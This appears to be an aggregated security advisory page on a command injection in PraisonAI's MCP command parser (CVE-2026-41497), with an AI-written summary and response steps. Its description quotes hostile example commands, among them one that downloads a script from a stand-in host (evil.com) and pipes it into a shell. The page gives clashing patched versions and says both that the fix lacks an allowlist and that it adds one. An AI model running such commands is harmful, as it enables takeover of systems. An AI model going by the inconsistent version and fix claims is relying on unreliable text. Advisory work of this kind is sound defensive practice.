Command Injection in praison (CVE-2026-41497, CVSS 9.8)

Summary

command injection in praison (CVE-2026-41497). Successful exploitation can lead to full system takeover. Exploitable via bash. Mitigation: upgrade to >= 4.6.9 or later.

Original description

The description as published by the source.

Summary

The fix for PraisonAI's MCP command handling does not add a command allowlist or argument validation to parse_mcp_command(), allowing arbitrary executables like bash, python, or /bin/sh with inline code execution flags to pass through to subprocess execution.

Affected Package

Ecosystem: PyPI
Package: MervinPraison/PraisonAI
Affected versions: < 47bff65413be
Patched versions: >= 47bff65413be

Details

The vulnerability exists in src/praisonai/praisonai/cli/features/mcp.py in the MCPHandler.parse_mcp_command() method. This function parses MCP server command strings into executable commands, arguments, and environment variables. The pre-patch version performs no validation on the executable or arguments.

The fix commit 47bff654 was intended to address command injection, but the patched parse_mcp_command() still lacks three critical controls: there is no ALLOWED_COMMANDS allowlist of permitted executables (e.g., npx, uvx, node, python), there is no os.path.basename() validation to prevent path-based executable injection, and there is no argument inspection to block shell metacharacters or dangerous subcommands.

Malicious MCP server commands such as python -c 'import os; os.system("id")', bash -c 'cat /etc/passwd', and /bin/sh -c 'wget http://evil.com/shell.sh | sh' are all accepted by parse_mcp_command() and passed directly to subprocess execution without filtering.

PoC

#!/usr/bin…

Source: NIST National Vulnerability Database NVD GitHub Advisory

AI summary

Written by an external AI model and may contain mistakes. Check the original description and references below before acting on it.

PraisonAI versions before 4.6.9 are vulnerable to a security flaw allowing attackers to execute unauthorized commands, due to insufficient command validation. The lack of input verification means your system could run harmful commands, leading to potential control loss. Similar vulnerabilities in the past have resulted in significant system breaches; therefore, updating to version 4.6.9 is strongly advised.

In PraisonAI, the 'MCPHandler.parse_mcp_command()' function lacks adequate validation for inputs, allowing arbitrary command execution. Affected are versions before 4.6.9, which addresses this issue by implementing appropriate checks. For example, commands that execute Python or Bash code inline are mishandled, putting the system at risk. The patch introduces validation and a command allowlist. It's recommended to monitor logs for abnormal executions to detect exploitation attempts.

❓ What is the problem

Insufficient validation in 'parse_mcp_command()' allows unauthorized command execution.

📍 Affected scope

PraisonAI system - 'MCPHandler.parse_mcp_command()' function

🔥 Severity

Critical severity (CVSS v3 score: 9.8) allowing remote, unauthenticated exploitation.

🔧 How to fix

Upgrade to PraisonAI version 4.6.9 which implements command and argument validation.

🛡️ Workaround

Information not provided in available resources.

🔍 Detection

Monitor log files for unusual command executions possibly indicating exploitation attempts.

Related past incidents Similar incidents extracted from past CVEs

CVE-2026-34935

Similar command injection vulnerability due to insufficient validation in PraisonAI.

CVE-2022-22963

Spring Cloud Function vulnerability allowing RCE via improper command handling.

CVE-2020-17530

Apache Struts improper input handling leading to RCE.

If this happens at your company Expected impact per business scenario

📌 For SaaS platforms relying on PraisonAI for coordination tasks across distributed teams.

Unauthorized command execution could result in data breaches and system compromise.

📌 In internal IT infrastructures using PraisonAI for automated workflows.

Compromised systems may lead to unauthorized access and persistent threats.

📌 For enterprises using AI models via PraisonAI for operational tasks.

Service disruptions and data integrity issues due to unauthorized system commands.

Recommended action

Companies should immediately upgrade PraisonAI to version 4.6.9, ensure command parsing is secure, and monitor system logs for signs of exploitation.

Response actions

Concrete steps and command examples for SOC/SRE teams to execute in order

1
Identify exposure identify
```
grep -r 'praison' . | grep -v node_modules
```
リポジトリと本番環境の依存ファイル (package-lock.json / requirements.txt / go.sum / Gemfile.lock 等) で praison を grep し、稼働しているサービス・バージョンを把握する。
2
Match against affected range verify
```
Confirm if version satisfies `<= 4.6.8`
```
Step 1 で見つかったバージョンが影響範囲 <= 4.6.8 に該当するか照合。本番で稼働中ならインシデント扱い。
6
Apply patch patch
```
Upgrade praison to >= 4.6.9
```
ステージング環境で >= 4.6.9 に上げて回帰テスト → 本番反映。回帰テストはアプリの主要ハッピーパスと、Step 3 で見つけた異常検知の続報チェックを含めること。
7
Post-deployment verification verify
```
Confirm patched version is live in production
```
パッチ適用後、ステージングで PoC または同等の悪用パターンを再現して脆弱性が閉じたことを確認。本番では Step 3 と同じログクエリでアラート再発が無いか継続監視。

Affected packages

pip praisonai

[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.5.149"}]}]

PyPI praisonai

[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.5.149"}]}]

References

advisory nvd.nist.gov
advisory nvd.nist.gov
package github.com
web github.com
web github.com
web github.com